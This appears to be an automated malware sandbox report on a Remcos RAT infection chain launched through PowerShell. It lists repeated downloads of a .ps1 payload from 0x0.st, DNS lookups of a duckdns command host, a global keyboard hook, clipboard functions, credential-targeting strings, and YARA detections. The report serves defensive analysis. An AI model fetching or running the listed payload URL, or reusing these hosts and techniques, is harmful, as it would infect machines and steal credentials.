                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: GET /8KuV.ps1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 0x0.stConnection: Keep-Alive
                        Source: global trafficHTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
                        Source: powershell.exe, 0000000E.00000002.2254347520.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Users%s\Loginprpl-msnprpl-yahooprpl-jabberprpl-novellprpl-oscarprpl-ggprpl-ircaccounts.xmlaimaim_1icqicq_1jabberjabber_1msnmsn_1yahoogggg_1http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com equals www.ebuddy.com (eBuggy)
                        Source: powershell.exe, powershell.exe, 0000000E.00000002.2254347520.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.ebuddy.com equals www.ebuddy.com (eBuggy)
                        Source: powershell.exeString found in binary or memory: http://www.facebook.com/ equals www.facebook.com (Facebook)
                        Source: powershell.exe, 0000000C.00000002.2265151549.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: ~@:9@0123456789ABCDEFURL index.datvisited:https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login$ equals www.facebook.com (Facebook)
                        Source: powershell.exe, 0000000C.00000002.2265151549.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: ~@:9@0123456789ABCDEFURL index.datvisited:https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login$ equals www.yahoo.com (Yahoo)
                        Source: global trafficDNS traffic detected: DNS query: 0x0.st
                        Source: global trafficDNS traffic detected: DNS query: abokirem.duckdns.org
                        Source: global trafficDNS traffic detected: DNS query: geoplugin.net
                        Source: powershell.exe, 0000000B.00000002.2340319003.000000000766E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2433176685.000000000092E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.3588702853.0000000006EED000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.3582981374.0000000006E80000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.micro
                        Source: powershell.exe, 00000029.00000002.3146915414.00000000078F1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.micro2GQ
                        Source: powershell.exe, 0000001F.00000002.2709216206.0000000000A30000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.microsofty
                        Source: powershell.exe, 0000000B.00000002.2349076560.0000000008DC0000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2349927057.0000000008E98000.00000002.10000000.00040000.00000000.sdmp, powershell.exe, 00000014.00000002.2489638672.000000000888C000.00000002.10000000.00040000.00000000.sdmp, powershell.exe, 0000001A.00000002.2674769480.0000000008E2C000.00000002.10000000.00040000.00000000.sdmp, powershell.exe, 0000001F.00000002.2812710908.0000000008A2C000.00000002.10000000.00040000.00000000.sdmp, powershell.exe, 00000024.00000002.2996548604.000000000893C000.00000002.10000000.00040000.00000000.sdmp, powershell.exe, 00000029.00000002.3167840434.000000000915C000.00000002.10000000.00040000.00000000.sdmp, powershell.exe, 0000002E.00000002.3374030025.0000000008F3C000.00000002.10000000.00040000.00000000.sdmp, powershell.exe, 00000033.00000002.3664827412.000000000877C000.00000002.10000000.00040000.00000000.sdmp, powershell.exe, 00000038.00000002.4114322266.0000000008BBC000.00000002.10000000.00040000.00000000.sdmp, powershell.exe, 0000003D.00000002.4489261708.0000000008C0C000.00000002.10000000.00040000.00000000.sdmp, powershell.exe, 00000042.00000002.4928229851.000000000912C000.00000002.10000000.00040000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gp/C
                        Source: powershell.exe, 0000000B.00000002.2319461302.0000000005EDB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
                        Source: powershell.exe, 0000000B.00000002.2319461302.0000000004FC5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2318149886.0000000002E99000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
                        Source: powershell.exe, 0000000B.00000002.2319461302.0000000004E71000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2434913927.00000000048A5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.2583741684.0000000004EC5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2714481470.00000000049E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2860182475.0000000004890000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000029.00000002.3004602164.0000000005160000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002E.00000002.3181807383.00000000048F5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.3381065169.0000000004850000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000038.00000002.3555602347.0000000004CF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003D.00000002.3696063498.0000000004C15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000042.00000002.3898346736.0000000005110000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                        Source: powershell.exe, 0000000B.00000002.2319461302.0000000004FC5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2318149886.0000000002E99000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
                        Source: powershell.exe, powershell.exe, 0000000E.00000002.2254347520.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.ebuddy.com
                        Source: powershell.exe, powershell.exe, 0000000E.00000002.2254347520.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.imvu.com
                        Source: powershell.exe, 0000000E.00000002.2254347520.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com
                        Source: powershell.exe, 0000000E.00000002.2254347520.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.imvu.comr
                        Source: powershell.exe, 0000000B.00000002.2340319003.000000000765A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.microsoft.
                        Source: powershell.exe, 0000000C.00000002.2265278254.0000000002FD4000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://www.nirsoft.net
                        Source: powershell.exe, 0000000E.00000002.2254347520.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.nirsoft.net/
                        Source: powershell.exe, 0000000B.00000002.2319461302.0000000004FC5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2434913927.00000000049F5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.2583741684.0000000005015000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2714481470.0000000004B35000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2860182475.00000000049D5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000029.00000002.3004602164.00000000052A5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002E.00000002.3181807383.0000000004A45000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.3381065169.0000000004995000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000038.00000002.3555602347.0000000004E35000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003D.00000002.3696063498.0000000004D65000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000042.00000002.3898346736.0000000005255000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000047.00000002.4099749846.0000000004BD5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://0x0.st
                        Source: powershell.exe, 00000029.00000002.3146915414.000000000791F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://0x0.st/
                        Source: powershell.exe, 00000047.00000002.4099749846.0000000004BD5000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://0x0.st/8KuV.ps1
                        Source: powershell.exe, 0000000B.00000002.2319461302.0000000004E71000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2434913927.00000000048A5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.2583741684.0000000004EC5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2714481470.00000000049E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2860182475.0000000004890000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000029.00000002.3004602164.0000000005160000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002E.00000002.3181807383.00000000048F5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.3381065169.0000000004850000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000038.00000002.3555602347.0000000004CF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000003D.00000002.3696063498.0000000004C15000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000042.00000002.3898346736.0000000005110000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore6lB
                        Source: powershell.exe, 0000000B.00000002.2319461302.0000000005EDB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
                        Source: powershell.exe, 0000000B.00000002.2319461302.0000000005EDB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
                        Source: powershell.exe, 0000000B.00000002.2319461302.0000000005EDB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
                        Source: powershell.exe, 0000000B.00000002.2319461302.0000000004FC5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2318149886.0000000002E99000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
                        Source: powershell.exe, 0000000C.00000002.2265889734.0000000003347000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2)
                        Source: powershell.exe, 0000000C.00000002.2265889734.0000000003347000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
                        Source: powershell.exe, 0000000C.00000002.2265889734.0000000003347000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_
                        Source: powershell.exe, 0000000C.00000002.2265889734.0000000003347000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
                        Source: powershell.exeString found in binary or memory: https://login.yahoo.com/config/login
                        Source: powershell.exe, 0000000B.00000002.2319461302.0000000005EDB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
                        Source: powershell.exe, powershell.exe, 0000000E.00000002.2254347520.0000000000400000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: https://www.google.com
                        Source: powershell.exeString found in binary or memory: https://www.google.com/accounts/servicelogin
                        Source: unknownNetwork traffic detected: HTTP traffic on port 49997 -> 443
                        Source: unknownNetwork traffic detected: HTTP traffic on port 49995 -> 443
                        Source: unknownNetwork traffic detected: HTTP traffic on port 50009 -> 443
                        Source: unknownNetwork traffic detected: HTTP traffic on port 50007 -> 443
                        Source: unknownNetwork traffic detected: HTTP traffic on port 50001 -> 443
                        Source: unknownNetwork traffic detected: HTTP traffic on port 50003 -> 443
                        Source: unknownNetwork traffic detected: HTTP traffic on port 50005 -> 443
                        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49837
                        Source: unknownNetwork traffic detected: HTTP traffic on port 49753 -> 443
                        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49998
                        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49997
                        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50007
                        Source: unknownNetwork traffic detected: HTTP traffic on port 49709 -> 443
                        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50006
                        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49753
                        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49995
                        Source: unknownNetwork traffic detected: HTTP traffic on port 49998 -> 443
                        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50009
                        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50008
                        Source: unknownNetwork traffic detected: HTTP traffic on port 49837 -> 443
                        Source: unknownNetwork traffic detected: HTTP traffic on port 49927 -> 443
                        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49993
                        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49991
                        Source: unknownNetwork traffic detected: HTTP traffic on port 50008 -> 443
                        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50001
                        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50000
                        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50003
                        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50002
                        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 50005
                        Source: unknownNetwork traffic detected: HTTP traffic on port 50002 -> 443
                        Source: unknownNetwork traffic detected: HTTP traffic on port 50000 -> 443
                        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49709
                        Source: unknownNetwork traffic detected: HTTP traffic on port 50006 -> 443
                        Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49927
                        Source: unknownNetwork traffic detected: HTTP traffic on port 49991 -> 443
                        Source: unknownNetwork traffic detected: HTTP traffic on port 49993 -> 443
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:49709 version: TLS 1.2
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:49753 version: TLS 1.2
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:49837 version: TLS 1.2
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:49927 version: TLS 1.2
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:49991 version: TLS 1.2
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:49993 version: TLS 1.2
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:49995 version: TLS 1.2
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:49997 version: TLS 1.2
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:49998 version: TLS 1.2
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:50000 version: TLS 1.2
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:50001 version: TLS 1.2
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:50002 version: TLS 1.2
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:50003 version: TLS 1.2
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:50005 version: TLS 1.2
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:50006 version: TLS 1.2
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:50007 version: TLS 1.2
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:50008 version: TLS 1.2
                        Source: unknownHTTPS traffic detected: 168.119.145.117:443 -> 192.168.2.6:50009 version: TLS 1.2

                        Key, Mouse, Clipboard, Microphone and Screen Capturing

                        barindex
                        Installs a global keyboard hook
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindows user hook set: 0 keyboard low level C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_0041183A OpenClipboard,GetLastError,DeleteFileW,12_2_0041183A
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_0040987A EmptyClipboard,wcslen,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,SetClipboardData,CloseClipboard,12_2_0040987A
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_004098E2 EmptyClipboard,GetFileSize,GlobalAlloc,GlobalLock,ReadFile,GlobalUnlock,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,12_2_004098E2
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_00406DFC EmptyClipboard,GetFileSize,GlobalAlloc,GlobalLock,ReadFile,GlobalUnlock,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,13_2_00406DFC
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 13_2_00406E9F EmptyClipboard,strlen,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,SetClipboardData,CloseClipboard,13_2_00406E9F
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 14_2_004068B5 EmptyClipboard,GetFileSize,GlobalAlloc,GlobalLock,ReadFile,GlobalUnlock,SetClipboardData,GetLastError,CloseHandle,GetLastError,CloseClipboard,14_2_004068B5
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 14_2_004072B5 EmptyClipboard,strlen,GlobalAlloc,GlobalLock,memcpy,GlobalUnlock,SetClipboardData,CloseClipboard,14_2_004072B5
                        Source: Yara matchFile source: 11.2.powershell.exe.8dc1288.3.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 11.2.powershell.exe.8dc1288.3.raw.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 0000000B.00000002.2349076560.0000000008DC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000000B.00000002.2349927057.0000000008E98000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 6092, type: MEMORYSTR

                        E-Banking Fraud

                        barindex
                        Yara detected Remcos RAT
                        Source: Yara matchFile source: 11.2.powershell.exe.8dc1288.3.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 11.2.powershell.exe.8dc1288.3.raw.unpack, type: UNPACKEDPE
                        Source: Yara matchFile source: 00000024.00000002.2996548604.0000000008937000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000001A.00000002.2674769480.0000000008E27000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000038.00000002.4114322266.0000000008BB7000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000033.00000002.3664827412.0000000008777000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000001F.00000002.2812710908.0000000008A27000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000003D.00000002.4489261708.0000000008C07000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000038.00000002.3538098442.0000000000B66000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000001A.00000002.2665236037.000000000841F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000000B.00000002.2318149886.0000000002ED9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000029.00000002.2991295118.0000000002EFC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000000B.00000002.2349076560.0000000008DC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000024.00000002.2974752181.00000000070B5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000014.00000002.2486988163.0000000008344000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000033.00000002.3644352502.00000000081C6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000000B.00000002.2349927057.0000000008E98000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000024.00000002.2987241095.000000000802F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000002E.00000002.3374030025.0000000008F37000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 0000001F.00000002.2807960981.00000000080DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000014.00000002.2489638672.0000000008887000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000029.00000002.3167840434.0000000009157000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000042.00000002.4878837381.0000000008B7D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000038.00000002.4066556135.0000000008600000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: 00000042.00000002.4928229851.0000000009127000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 6092, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 7524, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 7848, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 8120, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 364, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 7468, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 1588, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 8008, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3432, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 6532, type: MEMORYSTR
                        Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3852, type: MEMORYSTR
                        Source: Yara matchFile source: C:\ProgramData\remcos\logs.dat, type: DROPPED
                        Source: cmd.exeProcess created: 48

                        System Summary

                        barindex
                        Malicious sample detected (through community Yara rule)
                        Source: 11.2.powershell.exe.8dc1288.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: 11.2.powershell.exe.8dc1288.3.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                        Source: 11.2.powershell.exe.8dc1288.3.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                        Source: 11.2.powershell.exe.8dc1288.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: 11.2.powershell.exe.8dc1288.3.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                        Source: 11.2.powershell.exe.8dc1288.3.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                        Source: 0000001F.00000002.2812710908.0000000008A2C000.00000002.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: 0000004C.00000002.4826933353.000000000644C000.00000040.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
                        Source: 00000038.00000002.3735508842.0000000005D5C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
                        Source: 00000029.00000002.3068252959.00000000061CC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
                        Source: 00000024.00000002.2997747223.000000000B101000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
                        Source: 00000029.00000002.3072919020.000000000626C000.00000040.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
                        Source: 0000003D.00000002.4489261708.0000000008C0C000.00000002.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                        Source: 0000003D.00000002.3950494709.0000000005D2C000.00000040.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
                        Source: 00000038.00000002.3750436266.0000000005DFC000.00000040.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
                        Source: 0000001A.00000002.2612694971.0000000005F41000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
                        Source: 0000002E.00000002.3250950909.000000000596C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
                        Source: 0000002E.00000002.3257321014.0000000005A0C000.00000040.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
